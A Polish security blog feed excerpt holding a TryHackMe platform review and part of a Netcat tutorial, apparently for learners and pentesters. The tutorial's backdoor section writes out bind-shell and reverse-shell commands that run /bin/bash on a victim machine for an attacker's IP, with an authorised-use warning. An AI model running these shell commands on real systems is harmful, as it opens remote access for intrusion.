<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto.png"><img loading="lazy" decoding="async" width="1024" height="638" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-1024x638.png" alt="tryhackme czy warto" class="wp-image-15902" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-1024x638.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-300x187.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-768x479.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto-1536x958.png 1536w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-czy-warto.png 1920w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15902" /></a></figure>



<p class="wp-block-paragraph">I tu właśnie z pomocą przychodzi TryHackMe. Jest to platforma edukacyjna, która łączy naukę teorii z praktyką. Do dyspozycji otrzymujemy kontrolowane środowisko w którym możemy testować zdobytą wiedzę. </p>



<p class="wp-block-paragraph">Należy w tym miejscu zaznaczyć, że platforma TryHackMe jest dostępna w języku angielskim. Nie ma dostępnego polskiego tłumaczenia. Jednak nie uważam tego za minus, ponieważ osoby wkraczające w cyberbezpieczeństwo powinny znać język angielski, gdyż większość dokumentacji i poradników jest dostępna w tym właśnie języku.</p>



<h2 class="wp-block-heading">Podział na ścieżki, moduły i pokoje</h2>



<p class="wp-block-paragraph">Cały materiał, który jest dostępny na TryHackMe jest podzielony dla ścieżki tematyczne (Learning Paths):</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki.png"><img loading="lazy" decoding="async" width="1024" height="693" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki-1024x693.png" alt="tryhackme podział na ścieżki" class="wp-image-15903" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki-1024x693.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki-300x203.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki-768x520.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-podzial-na-sciezki.png 1210w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15903" /></a></figure>



<p class="wp-block-paragraph">Jest to bardzo przydatne zwłaszcza dla początkujących osób. Platforma oferuje szeroki wachlarz ścieżek, które pomagają systematycznie zdobywać wiedzę i doświadczenie w wybranych dziedzinach cyberbezpieczeństwa. Do wyboru mamy ścieżki, które są przygotowane z myślą o początkujących osobach, a także o tych bardziej zaawansowanych. Uważam to za dobre posunięcie, ponieważ początkujące osoby nie muszą się zastanawiać od czego powinny zacząć. Przy każdej ścieżce znajduje się informacja odnośnie poziomu trudności:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-opinie.png"><img loading="lazy" decoding="async" width="604" height="425" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-opinie.png" alt="tryhackme opinie" class="wp-image-15906" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-opinie.png 604w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-opinie-300x211.png 300w" sizes="auto, (max-width: 604px) 100vw, 604px" data-mwl-img-id="15906" /></a></figure>



<p class="wp-block-paragraph">Poszczególne ścieżki podzielone są moduły. Przykładowo ścieżka <strong>Web Application Pentesting</strong> zawiera moduły (sekcje) takie tak:</p>



<ul class="wp-block-list">
<li>Authentication,</li>



<li>Injection Attacks,</li>



<li>Advanced Server-Side Attacks,</li>



<li>Advanced Client-Side Attacks,</li>



<li>HTTP Request Smuggling.</li>
</ul>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1.png"><img loading="lazy" decoding="async" width="1024" height="700" src="https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1-1024x700.png" alt="jak działa TryHackMe" class="wp-image-15938" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1-1024x700.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1-300x205.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1-768x525.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/sekcje-w-tryhackme-1.png 1182w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15938" /></a></figure>



<p class="wp-block-paragraph">Każdy moduł składa się z pokoi (rooms), np. moduł Advanced Client-Side Attacks składa się z pokoi takich jak:</p>



<ul class="wp-block-list">
<li>XSS,</li>



<li>CSRF,</li>



<li>DOM-Based Attack,</li>



<li>CORS &amp; SOP,</li>



<li>Challenge &#8222;Whats Your Name?&#8221;</li>
</ul>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/moduly-tryhackme-1.png"><img loading="lazy" decoding="async" width="739" height="389" src="https://pentestuj.pl/wp-content/uploads/2025/01/moduly-tryhackme-1.png" alt="TryHackMe nauka hackowania" class="wp-image-15939" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/moduly-tryhackme-1.png 739w, https://pentestuj.pl/wp-content/uploads/2025/01/moduly-tryhackme-1-300x158.png 300w" sizes="auto, (max-width: 739px) 100vw, 739px" data-mwl-img-id="15939" /></a></figure>



<p class="wp-block-paragraph">Pokój z kolei składa się z teorii oraz zadań . Dodatkowo w każdym pokoju mamy dostęp do maszyny, na której możemy testować nasze umiejętności, tzw. AttackBox.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1.png"><img loading="lazy" decoding="async" width="1024" height="842" src="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1-1024x842.png" alt="THM nauka hackowania" class="wp-image-15936" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1-1024x842.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1-300x247.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1-768x631.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-tryhackme-1.png 1069w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15936" /></a></figure>



<p class="wp-block-paragraph">Jak widzisz całość jest logicznie uporządkowana i przez to bardzo łatwo jest się odnaleźć na początku swojej przygody z THM 🙂</p>



<h2 class="wp-block-heading">Jak działają pokoje (rooms)</h2>



<p class="wp-block-paragraph">Tak jak już wcześniej wspomniałam materiał, który jest dostępny na TryHackMe jest podzielony na pokoje (rooms). Można powiedzieć, że są to odrębne środowiska laboratoryjne. Każdy z pokoi skupia się na danym temacie.</p>



<p class="wp-block-paragraph">Dostępne są pokoje, które dostarczają nam wiedzę teoretyczną, a także środowisko laboratoryjne w którym możemy to przećwiczyć. Teoria jest często przeplatana zadaniami. Najczęściej są to zadania CTF, w których musimy zdobyć ukrytą flagę, czyli określony ciąg znaków, który potem musimy wpisać w specjalnie przygotowanym do tego polu. Jeśli flaga jest prawidłowa, zadanie jest oznaczane jako zaliczone. </p>



<p class="wp-block-paragraph">Drugą grupę stanowią pokoje w których nie znajdziemy już wstępu teoretycznego, a jedynie same zadania CTF. Po prostu są to specjalnie przygotowane systemy, które celowo mają wprowadzone luki bezpieczeństwa, poprzez które należy włamać się i zdobyć ukryte flagi.</p>



<h2 class="wp-block-heading">Czym jest AttackBox</h2>



<p class="wp-block-paragraph">AttackBox jest to wirtualne środowisko dostępne na platformie TryHackMe, które umożliwia użytkownikom przeprowadzanie testów penetracyjnych  i rozwiązywanie zadań bez potrzeby posiadania własnej infrastruktury. To po prostu maszyna wirtualna uruchamiana z poziomu TryHackMe, w której użytkownicy mogą przeprowadzać ataki, eksperymentować z narzędziami bezpieczeństwa oraz testować aplikacje i systemy w izolowanym środowisku.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me.png"><img loading="lazy" decoding="async" width="841" height="377" src="https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me.png" alt="czym jest TryHackMe" class="wp-image-15944" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me.png 841w, https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me-300x134.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/czym-jest-try-hack-me-768x344.png 768w" sizes="auto, (max-width: 841px) 100vw, 841px" data-mwl-img-id="15944" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania.png"><img loading="lazy" decoding="async" width="1024" height="478" src="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-1024x478.png" alt="THM nauka hackowania" class="wp-image-15940" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-1024x478.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-300x140.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-768x359.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania-1536x718.png 1536w, https://pentestuj.pl/wp-content/uploads/2025/01/attackbox-thm-nauka-hackowania.png 1920w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15940" /></a></figure>



<p class="wp-block-paragraph">Uważam, że jest to bardzo fajna opcja dla początkujących osób, które nie są jeszcze biegłe w konfiguracji swojego własnego środowiska Linuxowego. Niestety rozwiązanie to ma pewne wady. Po pierwsze czasem potrafi się &#8222;wysypać&#8221;. Niestety zdarzyło mi się to kilka razy. Po drugie działamy na &#8222;obcym&#8221; systemie, który nie jest przez nas skonfigurowany. Po trzecie AttackBox potrafi czasem zamulać.</p>



<p class="wp-block-paragraph">Właśnie z tego powodu wolę podłączyć poprzez OpenVPN swoje własne środowisko Kali Linux postawione na maszynie wirtualnej. Może brzmi skomplikowanie, ale w rzeczywistości jest to banalnie proste, a nauka na TryHackMe staje się dużo przyjemniejsza.</p>



<h2 class="wp-block-heading">Jakie są zalety i wady TryHackMe</h2>



<p class="wp-block-paragraph">Uważam że sporą zaletą jest duża przejrzystość platformy. Podział na ścieżki, moduły i pokoje jest całkiem logiczny i wprowadza duże ułatwienie dla osób początkujących. Niestety niektóre pokoje są przypisane do kilku ścieżek. Przykładowo jeśli rozwiążesz wszystkie zadania z wybranej ścieżki zobaczysz, że masz postępy także na kilku innych ścieżkach. Tak więc pokoi jest trochę mniej niż mogło by się wydawać na pierwszy rzut oka.</p>



<p class="wp-block-paragraph">Bardzo fajny jest podział pokoi zależności od poziomu trudności. Jednak tu także nie zawsze się to sprawdza. Parę razy mi się zdarzyło, że moduł oznaczony jako łatwy w rzeczywistości okazywał się nieco bardziej zaawansowany.</p>



<p class="wp-block-paragraph">Środowisko AttackBox jest świetnym dodatkiem. Dzięki temu można od razu testować swoją wiedzę, bez potrzeby konfiguracji własnego środowiska. Niestety AttackBox ma swoje ograniczenia, o których wcześniej pisałam. Jednak i tak uważam, że jest to super dodatek.</p>



<p class="wp-block-paragraph">Poziom merytoryczny danych modułów jest różny. Widać, że szykowały je różne osoby. Niektóre moduły są przygotowane w wyczerpujący i mega profesjonalny sposób, a inne nieco odbiegają od nich jakościowo. Mimo wszystko całość oceniam na mocną piątkę.</p>



<p class="wp-block-paragraph">Bardzo fajna jest wyszukiwarka modułów. Za jej pomocą możemy przeszukiwać moduły pod kątem fraz, a także stopnia trudności.</p>



<p class="wp-block-paragraph">Po ukończeniu danej ścieżki otrzymujemy certyfikat. Niestety nie ma on dużej wartości na rynku pracy, z uwagi na fakt, że na stronie THM przy każdym module są dostępne writeupy. Oprócz tego rozwiązania poszczególnych zadań znajdziemy w sieci.</p>



<h2 class="wp-block-heading">Czym się różni płatna wersja od darmowej</h2>



<p class="wp-block-paragraph">TryHackMe jest dostępne w 3 pakietach: Free, Premium, Business. Pakiet Free jak sama nazwa wskazuje jest bezpłatny, natomiast Premium oraz Business są płatne. Ja jednak skupię się na tańszej wersji Premium.</p>



<p class="wp-block-paragraph">Bezpłatna wersja ma swoje ograniczenia, które z czasem bywają uciążliwe. W wersji bezpłatnej mamy dostęp tylko do pokoi, które są oznaczone jako free. Często pokoje te są przeznaczone dla osób początkujących. Bardziej zaawansowane treści są płatne. Decydując się na daną ścieżkę musisz mieć na uwadze to, że będziesz mieć dostęp tylko do początkowych modułów. Tak więc jeśli chcesz przejść przez całą ścieżkę, musisz mieć wykupione konto premium.</p>



<p class="wp-block-paragraph">W wersji darmowej jest ograniczenie w dostępie do AttackBox. Darmowe konta mają dostęp tylko przez godzinę w danym dniu. Ja jednak nie lubię korzystać z AttackBox. Dużo lepiej pracuje mi się na własnym systemie poprzez OpenVPN. Tak więc uważam, że spokojnie można obejść to ograniczenie.</p>



<p class="wp-block-paragraph"> W wersji premium otrzymujemy też szybsze maszyny, co przekłada się na komfort korzystania z serwisu.</p>



<p class="wp-block-paragraph">Dużym zaskoczeniem było dla mnie to, że kupując wersję premium nie otrzymałam faktury. Obecnie jest tak, że tylko kupując konto business otrzymamy fakturę. Jednak dostałam odpowiedź z supportu, że z czasem może wprowadzą zmiany w tym zakresie.</p>



<h2 class="wp-block-heading">Czy warto wykupić konto premium na TryHackMe?</h2>



<p class="wp-block-paragraph">Jeśli dopiero zaczynasz swoją przygodę z THM, uważam że na początek warto przetestować platformę w wersji bezpłatnej. Akurat w wersji free mamy dostęp do najłatwiejszych modułów. Dzięki temu sprawdzisz, czy odpowiada Ci taka forma szkoleń.</p>



<p class="wp-block-paragraph">Warto wykupić konto premium, jeśli planujesz intensywnie korzystać z THM. Wtedy na pewno się to opłaci. Czasami można natrafić na promocję, zwłaszcza na Black Friday.</p>



<p class="wp-block-paragraph">Ogólnie rzecz biorąc THM zawiera dużo teorii i zadań praktycznych, jednak nie można traktować tego jako jedynego źródła wiedzy. Warto poszerzać swoją wiedzę korzystając z książek, a także innych serwisów takich jak PortSwigger czy HackTheBox. Jednak uwaga ta dotyczy także pozostałych serwisów.</p>
<p>Artykuł <a href="https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/">TryHackMe &#8211; czym jest i czy warto wykupić wersję premium</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Netcat &#8211; czym jest i jak go używać</title>
		<link>https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/</link>
					<comments>https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 11 Apr 2025 06:00:01 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=16089</guid>

					<description><![CDATA[<p>Netcat jest to uniwersalne narzędzie sieciowe, które powinno znaleźć się w arsenale każdego administratora, pentestera czy entuzjasty bezpieczeństwa. Umożliwia ustanawianie połączeń TCP oraz UDP, przesyłanie plików, skanowanie portów, a także testowanie połączeń. Netcat może pracować zarówno w trybie serwera jak i klienta. W artykule tym przyjrzymy się bliżej możliwościom i zastosowaniom Netcata. Czym jest Netcat [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/">Netcat &#8211; czym jest i jak go używać</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Netcat jest to uniwersalne narzędzie sieciowe, które powinno znaleźć się w arsenale każdego administratora, pentestera czy entuzjasty bezpieczeństwa. Umożliwia ustanawianie połączeń TCP oraz UDP, przesyłanie plików, skanowanie portów, a także testowanie połączeń. Netcat może pracować zarówno w trybie serwera jak i klienta. W artykule tym przyjrzymy się bliżej możliwościom i zastosowaniom Netcata.</p>



<h2 class="wp-block-heading">Czym jest Netcat</h2>



<p class="wp-block-paragraph">Netcat to wszechstronne narzędzie sieciowe do testowania połączeń i komunikacji, a także prosty serwer. Netcat działa na systemach Linux, Windows oraz MacOS. Jest często nazywany &#8222;szwajcarskim scyzorykiem sieciowym&#8221; ze względu na możliwość wykonywania różnych zadań związanych z siecią. Netcat może być używany do zadań takich jak:</p>



<ul class="wp-block-list">
<li><strong>Ustanawianie połączeń TCP i UDP</strong> &#8211; Netcat pozwala na inicjowanie połączeń zdalnych oraz nasłuchiwanie na określonych portach, co umożliwia komunikację pomiędzy hostami.</li>



<li><strong>Przesyłanie plików</strong> &#8211; Netcat może być używany do przesyłania plików pomiędzy hostami. Należy jednak zaznaczyć, że Netcat nie oferuje wbudowanego mechanizmu zabezpieczania przesyłanych danych, dlatego nie jest zalecany do bezpiecznego przesyłania plików.</li>



<li><strong>Skanowanie portów</strong> &#8211; Netcat umożliwia szybkie sprawdzenie, które porty na docelowym urządzeniu są otwarte, co jest przydatne podczas testów penetracyjnych. Jednak nie jest to jego główna funkcja, dlatego do bardziej zaawansowanego skanowania lepiej używać<strong> </strong>Nmapa.</li>



<li><strong>Tworzenie serwerów nasłuchujących</strong> &#8211; narzędzie może działać jako prosty serwer, który nasłuchuje na określonym porcie i obsługuje połączenia przychodzące. Warto dodać, że w tej roli Netcat może być używany do tworzenia prostych backdoorów, co bywa wykorzystywane zarówno w testach penetracyjnych, jak i przez atakujących.</li>



<li><strong>Diagnostyka, debugowanie</strong> <strong>i testy penetracyjne</strong> &#8211; Netcat jest pomocny w diagnozowaniu problemów z połączeniami, w testowaniu konfiguracji sieciowej oraz w testach penetracyjnych.</li>
</ul>



<h2 class="wp-block-heading">Jak ustanowić połączenie za pomocą Netcat</h2>



<p class="wp-block-paragraph">Netcat umożliwia tworzenie połączeń TCP lub UDP między dwoma hostami, gdzie jeden działa jako serwer nasłuchujący, a drugi jako klient, który inicjuje połączenie. </p>



<h3 class="wp-block-heading">Jak ustanowić połączenie TCP</h3>



<p class="wp-block-paragraph">Skonfiguruj serwer nasłuchujący:</p>



<p class="wp-block-paragraph">Na komputerze, który będzie nasłuchiwał połączeń (serwer), uruchom Netcat w trybie nasłuchu na określonym porcie:</p>



<pre class="wp-block-code"><code class="">nc -l -<strong>p </strong>&lt;numer portu&gt;</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li> <strong><code>-l</code></strong> &#8211; włącza tryb nasłuchu (listening).</li>



<li><code><strong>-p</strong> <strong>&lt;numer portu&gt;</strong></code> &#8211; określa numer portu (np. 5555).</li>
</ul>



<p class="wp-block-paragraph">Połącz się z serwerem jako klient:</p>



<pre class="wp-block-code"><code class="">nc &lt;adres IP serwera&gt; &lt;numer portu&gt;</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li><strong><code>&lt;adres IP serwera&gt;</code></strong> &#8211; adres IP maszyny, na której uruchomiono Netcat w trybie nasłuchu.</li>



<li><strong><code>&lt;numer portu&gt;</code></strong> &#8211; port, na którym nasłuchuje serwer.</li>
</ul>



<h3 class="wp-block-heading">Jak ustanowić połączenie UDP</h3>



<p class="wp-block-paragraph">Netcat obsługuje nie tylko połączenia TCP, ale także UDP. Oto, jak ustanowić komunikację UDP za pomocą Netcat.</p>



<p class="wp-block-paragraph">Skonfiguruj serwer nasłuchujący:</p>



<pre class="wp-block-code"><code class="">nc -u -l -p &lt;numer portu&gt;</code></pre>



<p class="wp-block-paragraph">Polecenie jest prawie takie samo jak przy TCP. Trzeba tylko dodać flagę <code>-u</code>.</p>



<p class="wp-block-paragraph">Połącz się z serwerem jako klient:</p>



<pre class="wp-block-code"><code class="">nc -u &lt;adres IP serwera&gt; &lt;numer portu&gt;</code></pre>



<h2 class="wp-block-heading">Transfer plików</h2>



<p class="wp-block-paragraph">Możemy używać Netcata do przesyłania danych pomiędzy hostami. W tym celu trzeba skonfigurować maszynę wysyłającą oraz odbierającą dane.</p>



<p class="wp-block-paragraph">Na maszynie odbierającej dane wpisz poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">nc -l -p &lt;numer portu&gt; &gt; otrzymane_dane.txt</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li> <strong><code>-l</code></strong> &#8211; włącza tryb nasłuchu (listening).</li>



<li><strong><code>-p</code></strong> &#8211; określa numer portu (np. 5555).</li>



<li><strong><code>&gt;</code></strong> &#8211; przekierowuje odebrane dane do pliku <code>otrzymane_dane.txt</code>.</li>
</ul>



<p class="wp-block-paragraph">Na maszynie wysyłającej, wpisz poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">nc &lt;adres IP odbiorcy&gt; &lt;numer portu&gt; &lt; plik_do_wyslania.txt</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li><strong><code>&lt;adres IP odbiorcy&gt;</code></strong> &#8211; adres IP maszyny odbierającej plik.</li>



<li><strong><code>&lt;numer portu&gt;</code></strong> &#8211; port, na którym nasłuchuje maszyna odbierająca.</li>



<li><strong><code>&lt;</code></strong> &#8211; wskazuje, że dane do przesłania znajdują się w pliku <code>plik_do_wyslania.txt</code>.</li>
</ul>



<p class="wp-block-paragraph">To polecenie nawiązuje połączenie z maszyną odbiorczą i wysyła plik <code>plik_do_wyslania.txt</code>.</p>



<h2 class="wp-block-heading">Backdoor i zdalny dostęp</h2>



<p class="wp-block-paragraph">Netcat może być użyty do utworzenia backdoora, umożliwiającego atakującemu zdalny dostęp do systemu ofiary. </p>



<p class="has-white-color has-vivid-red-background-color has-text-color has-background has-link-color wp-elements-5 wp-block-paragraph"><strong>Uwaga:</strong> Tworzenie backdoorów i uzyskiwanie zdalnego dostępu do systemów bez zgody ich właścicieli jest nieetyczne i nielegalne. Opisane w artykule techniki powinny być używane wyłącznie w celach edukacyjnych lub w ramach testów penetracyjnych przeprowadzanych za zgodą właściciela systemu. </p>



<p class="wp-block-paragraph">Na komputerze ofiary włącz tryb nasłuchu:</p>



<pre class="wp-block-code"><code class="">nc -lp 5555 -e /bin/bash</code></pre>



<p class="wp-block-paragraph">gdzie:</p>



<ul class="wp-block-list">
<li> <strong><code>-l</code></strong> &#8211; włącza tryb nasłuchu (listening).</li>



<li><strong><code>-p</code></strong> &#8211; określa numer portu (np. 5555).</li>



<li><code><strong>-e</strong> <strong>/bin/bash </strong></code> &#8211; po nawiązaniu połączenia klient uzyska dostęp do powłoki Bash na maszynie, która uruchomiła Netcat.</li>
</ul>



<p class="has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color wp-elements-6 wp-block-paragraph">Zwróć uwagę na to, że flagi można zapisywać łącznie lub osobno. Równoważny będzie zapis <code>-lp</code> oraz <code>-l -p</code>.</p>



<p class="wp-block-paragraph">Na komputerze atakującego wykonaj poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">nc &lt;adres IP ofiary> 5555</code></pre>



<ul class="wp-block-list">
<li><code><strong>&lt;adres IP ofiary></strong></code> &#8211; adres IP maszyny nasłuchującej.</li>



<li><code><strong>5555</strong></code> &#8211; numer portu na którym nasłuchuje komputer ofiary, w tym przypadku jest to port 5555.</li>
</ul>



<p class="wp-block-paragraph">Powyższe polecenie jest używane do nawiązania połączenia techniką bind shell. W przypadku <strong>bind shell</strong>, komputer ofiary uruchamia Netcat w trybie nasłuchu na określonym porcie (tutaj 5555) i czeka na połączenia przychodzące. Kiedy atakujący połączy się z tym portem, zyskuje dostęp do powłoki systemowej ofiary. Problemem jest to, że firewall może blokować połączenia przychodzące. Dlatego z punktu widzenia atakującego dużo lepszą techniką jest reverse shell.</p>



<p class="wp-block-paragraph"><strong>Reverse shell</strong> działa inaczej. W tym przypadku to komputer ofiary inicjuje połączenie z komputerem atakującego. Ofiara uruchamia Netcat, który łączy się z adresem IP atakującego na określonym porcie (np. 5555), a atakujący otrzymuje dostęp do powłoki ofiary. </p>



<p class="wp-block-paragraph">Na komputerze atakującego włącz tryb nasłuchiwania:</p>



<pre class="wp-block-code"><code class="">nc -lp 5555</code></pre>



<p class="wp-block-paragraph">Na komputerze ofiary wykonaj poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">nc &lt;adres IP atakującego&gt; 5555 -e /bin/bash</code></pre>



<p class="wp-block-paragraph">Atakujący może wykonać reverse shell na systemie ofiary bez fizycznego dostępu, wykorzystując różne luki w zabezpieczeniach. Jednym ze sposobów jest wykorzystanie luk w aplikacjach internetowych, które pozwalają na zdalne wykonanie kodu. Jeśli aplikacja ma nieprawidłową kontrolę nad danymi wejściowymi, atakujący może wysłać złośliwy kod, który uruchomi reverse shell na serwerze ofiary. Kolejną metodą są ataki phishingowe, gdzie atakujący wysyła e-maile lub tworzy fałszywe strony internetowe, które mają na celu skłonienie użytkownika do kliknięcia w złośliwy link lub pobrania załącznika zawierającego złośliwy kod. Atakujący może też manipulować ofiarą w taki sposób, by ta sama uruchomiła złośliwy kod. </p>



<h2 class="wp-block-heading">Chatowanie za pomocą Netcata</h2>



<p class="wp-block-paragraph">Netcat umożliwia prowadzenie prostych rozmów tekstowych (chatów) w czasie rzeczywistym pomiędzy dwoma komputerami w tej samej sieci lub na odległych maszynach. Proces ten polega na skonfigurowaniu jednego komputera jako serwera nasłuchującego, a drugiego jako klienta, który się z nim łączy.</p>



<p class="wp-block-paragraph">Warto pamiętać o tym, że rozmowy przez Netcat są przesyłane w formie zwykłego tekstu i nie są domyślnie szyfrowane, przez co dane mogą zostać przechwycone. </p>



<p class="wp-block-paragraph">Poniżej przykład wysyłanych wiadomości pomiędzy dwiema maszynami w sieci lokalnej, które są uruchomione na VMware. </p>



<p class="wp-block-paragraph">Włączam serwer nasłuchujący na maszynie o IP 192.168.128.131 na porcie 5555:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-co-to-jest.png"><img loading="lazy" decoding="async" width="361" height="137" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-co-to-jest.png" alt="Netcat co to jest" class="wp-image-16107" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-co-to-jest.png 361w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-co-to-jest-300x114.png 300w" sizes="auto, (max-width: 361px) 100vw, 361px" data-mwl-img-id="16107" /></a></figure>



<p class="wp-block-paragraph">Na drugiej maszynie nawiązuję połączenie z serwerem nasłuchującym:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-serwer-nasluchujacy.png"><img loading="lazy" decoding="async" width="348" height="135" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-serwer-nasluchujacy.png" alt="Netcat serwer nasłuchujący" class="wp-image-16110" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-serwer-nasluchujacy.png 348w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-serwer-nasluchujacy-300x116.png 300w" sizes="auto, (max-width: 348px) 100vw, 348px" data-mwl-img-id="16110" /></a></figure>



<p class="wp-block-paragraph">Teraz mogę wysłać wiadomość tekstową:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-jak-hackowac.png"><img loading="lazy" decoding="async" width="383" height="161" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-jak-hackowac.png" alt="Netcat jak hackować" class="wp-image-16109" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-jak-hackowac.png 383w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-jak-hackowac-300x126.png 300w" sizes="auto, (max-width: 383px) 100vw, 383px" data-mwl-img-id="16109" /></a></figure>



<p class="wp-block-paragraph">Wiadomość pokazała się na serwerze nasłuchującym. Wysyłam odpowiedź:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-transfer-plikow.png"><img loading="lazy" decoding="async" width="366" height="170" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-transfer-plikow.png" alt="Netcat transfer plików" class="wp-image-16111" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-transfer-plikow.png 366w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-transfer-plikow-300x139.png 300w" sizes="auto, (max-width: 366px) 100vw, 366px" data-mwl-img-id="16111" /></a></figure>



<p class="wp-block-paragraph">Odpowiedź pojawiła się na drugiej maszynie:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-czym-jest.png"><img loading="lazy" decoding="async" width="354" height="165" src="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-czym-jest.png" alt="Netcat co to jest" class="wp-image-16108" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/netcat-czym-jest.png 354w, https://pentestuj.pl/wp-content/uploads/2025/01/netcat-czym-jest-300x140.png 300w" sizes="auto, (max-width: 354px) 100vw, 354px" data-mwl-img-id="16108" /></a></figure>



<h2 class="wp-block-heading">Skanowanie portów za pomocą Netcata</h2>



<p class="wp-block-paragraph">Netcat, pomimo że nie jest specjalistycznym narzędziem do skanowania portów, może być używany do tego celu.</p>



